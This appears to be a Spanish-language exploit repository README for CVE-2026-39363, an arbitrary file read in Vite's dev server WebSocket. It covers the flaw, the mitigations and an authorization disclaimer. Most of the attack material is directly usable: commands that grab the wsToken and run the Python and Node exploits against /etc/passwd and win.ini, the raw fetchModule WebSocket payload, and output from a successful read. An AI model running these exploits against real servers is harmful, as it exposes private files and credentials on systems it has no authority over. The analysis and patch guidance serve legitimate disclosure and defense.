
Exploit para CVE-2026-39363, una vulnerabilidad de lectura arbitraria de archivos en WebSocket del servidor de desarrollo de Vite, con scripts en Python y Node.js para explotación automatizada y pasos manuales.
| Atributo | Información |
|---|
| ID CVE | CVE-2026-39363 |
| ID GHSA | GHSA-p9ff-h696-f583 |
| Tipo de Vulnerabilidad | Arbitrary File Read (Lectura Arbitraria de Archivos) |
| Componente Afectado | Vite Dev Server |
| Versiones Afectadas | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| Puntuación CVSS | Alta |
| Versión Corregida | Vite >= 6.2.3 |
La llamada RPC fetchModule del WebSocket de Vite Dev Server presenta una vulnerabilidad de omisión de la verificación de seguridad.
Ubicación del código vulnerable: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// Punto clave de la vulnerabilidad: cuando la URL es file:// o no hay importer
// se llama directamente a resolveId, ¡sin realizar la verificación isFileServingAllowed!
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...continúa el procesamiento y devuelve el contenido del archivo
}
┌─────────────────────────────────────────────────────────────────┐
│ Ruta de Solicitud HTTP (con verificación de seguridad) │
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOQUEADO │
│ (verifica server.fs.allow) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ Ruta de Solicitud WebSocket (omite la verificación) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> resolveId directo │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> depende de la configuración fs.allow │
│ │ │
│ ▼ │
│ Devuelve el contenido del archivo con éxito (si fs.allow lo permite) │
└─────────────────────────────────────────────────────────────────┘
Ruta HTTP: Pasa por múltiples capas de verificación: ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed
Ruta WebSocket:
fetchModule no llama a isFileServingAllowedisFileLoadingAllowed en loadAndTransform, sigue activaserver.fs.allow es permisiva, se puede leer cualquier archivo--host)fs.allow: ['..'] - permite leer directorios superioresfs.allow: ['C:/'] - permite leer todo el disco Cfs.strict: false - sin restricciones/@vite/client)# Clonar el repositorio
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# Instalar dependencias
npm install
# Iniciar Vite Dev Server (usando configuración permisiva para demostrar la vulnerabilidad)
npm run dev
# Uso básico (detección automática de puerto)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# Leer archivos fuera del proyecto
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# Especificar token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# Obtener el wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# Ejecutar el POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # Documento de análisis de la vulnerabilidad
├── exp.py # Script de exploit en Python
├── poc.js # POC en Node.js
├── vite.config.js # Archivo de configuración de Vite (para demostración)
├── package.json # Configuración del proyecto
├── src/ # Directorio de código fuente
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # Recursos estáticos
└── index.html # HTML de entrada
npm update vite
# o
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // solo permitir el directorio raíz del proyecto
}
}
})
--host para exponer el servicioEste proyecto se proporciona únicamente con fines de investigación y educación en seguridad. No utilice este código de explotación para ninguna actividad ilegal. Antes de probar este código, asegúrese de haber obtenido la autorización explícita del propietario del sistema objetivo.
Licencia MIT